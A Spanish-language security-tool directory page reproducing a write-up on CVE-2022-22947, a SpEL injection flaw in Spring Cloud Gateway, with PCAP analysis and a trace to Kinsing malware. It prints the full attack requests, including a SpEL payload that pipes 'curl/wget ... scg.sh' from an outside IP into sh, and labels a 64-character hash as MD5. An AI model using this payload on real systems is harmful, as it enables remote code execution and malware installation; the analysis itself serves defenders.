Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sumitpathania03/cve-2022-22947
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAnálisis de MalwarePapers e InvestigaciónAprendizaje y EducaciónArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis detallado y guía de explotación de CVE-2022-22947, una vulnerabilidad de inyección SpEL en Spring Cloud Gateway que conduce a una ejecución remota de código (RCE), incluyendo análisis de PCAP e investigación del malware Kinsing.

Ver Repositorio
hace 2 añosAún no revisado

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) En el primer trimestre de 2022, se descubrió una vulnerabilidad interesante y crítica (puntuación base de 10.0) de inyección de código en Spring Cloud Gateway que aprovecha la API Actuator para realizar una inyección SpEL, lo que puede llevar a comprometer el sistema. Versiones de Spring Cloud Gateway anteriores a 3.1.1+ y 3.0.7+ En Spring Cloud Gateway, las aplicaciones son vulnerables a un ataque de inyección de código SI:El endpoint del Actuator Gateway está habilitado, expuesto y no asegurado.

GRÁFICO DEL FLUJO DE VULNERABILIDAD

spring

ANÁLISIS DE PCAP

1.EL ATACANTE ENVIARÁ UNA SOLICITUD POST + JSON PARA LA CREACIÓN DE UNA NUEVA RUTA EN EL GATEWAY Y CON EL ARCHIVO DE CONFIGURACIÓN JSON ESTÁ CONFIGURANDO EL ENCABEZADO DE RESPUESTA DE ESA RUTA

root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

RESPUESTA:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

COMO PODEMOS VER EN EL ARCHIVO JSON, ESTAMOS OBTENIENDO EL VALOR DEL ENCABEZADO DE RESPUESTA EJECUTANDO ESTA EXPRESIÓN 
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

Y PODEMOS VER EN EL MÉTODO exec( ) hay un comando compuesto para ejecución remota de código.

2.LUEGO EL ATACANTE ENVÍA UNA SOLICITUD POST PARA REFRESCAR TODAS LAS RUTAS

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RESPUESTA:

root@kitploit:~
HTTP/1.1 200 OK

3.LUEGO EL ATACANTE ENVÍA UNA SOLICITUD GET EN LA RUTA RECIÉN CREADA PARA EJECUTAR EL COMANDO RCE EN EL ENCABEZADO DE RESPUESTA

root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

RESPUESTA:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

LA RESPUESTA 200 OK INDICA QUE EL COMANDO RCE SE HA EJECUTADO CON ÉXITO

4.LUEGO EL ATACANTE ENVIARÁ UNA SOLICITUD DELETE PARA ELIMINAR ESA RUTA

root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RESPUESTA:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDICA QUE LA RUTA SE HA ELIMINADO CON ÉXITO 

DATOS DE REGISTRO

SHELLCODE DECODIFICADO:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

DESPUÉS DE DECODIFICAR ESTE SHELLCODE ENCONTRÉ UNA URL WGET DE UN SCRIPT, LUEGO DESCARGUÉ MANUALMENTE ESE SCRIPT Y TRAS ANALIZARLO ENCONTRÉ UNA URL DE DESCARGA DEL MALWARE KINSING

SP

Y DESDE ESA URL DESCARGUÉ EL MALWARE KINSING EN UN ARCHIVO ZIP PARA SU POSTERIOR ANÁLISIS, LUEGO ANALICÉ EL VALOR MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DE ESE MALWARE Y ESTO ES LO QUE OBTUVE

SP

SP

Descargar herramienta